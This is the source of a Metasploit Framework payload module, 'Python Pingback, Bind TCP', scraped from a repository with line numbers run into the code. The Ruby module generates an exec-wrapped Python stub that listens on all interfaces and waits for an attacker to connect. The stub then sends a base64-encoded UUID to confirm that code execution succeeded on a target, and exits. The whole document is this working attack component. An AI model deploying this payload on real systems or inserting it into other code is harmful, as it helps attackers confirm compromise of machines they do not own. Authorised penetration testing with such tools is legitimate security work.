Path: blob/master/modules/payloads/singles/python/pingback_bind_tcp.rb
19715 views
module MetasploitModule1CachedSize = :dynamic23include Msf::Payload::Single4include Msf::Payload::Python5include Msf::Payload::Pingback6include Msf::Payload::Pingback::Options78def initialize(info = {})9super(10merge_info(11info,12'Name' => 'Python Pingback, Bind TCP (via python)',13'Description' => 'Listens for a connection from the attacker, sends a UUID, then terminates',14'Author' => 'asoto-r7',15'License' => MSF_LICENSE,16'Platform' => 'python',17'Arch' => ARCH_PYTHON,18'Handler' => Msf::Handler::BindTcp,19'Session' => Msf::Sessions::Pingback,20'PayloadType' => 'python'21)22)23end2425def generate(_opts = {})26super.to_s + command_string27end2829def command_string30self.pingback_uuid ||= generate_pingback_uuid31cmd = <<~PYTHON32import binascii as b33import socket as s34o=s.socket(s.AF_INET,s.SOCK_STREAM)35try:36o.setsockopt(s.SOL_SOCKET, s.SO_REUSEADDR, 1)37o.bind(('0.0.0.0', #{datastore['LPORT']}))38o.listen(1)39o,addr=o.accept()40o.send(b.a2b_base64('#{[[self.pingback_uuid].pack('H*')].pack('m0')}'))41o.close()42except:43pass44PYTHON4546py_create_exec_stub(cmd)47end48end495051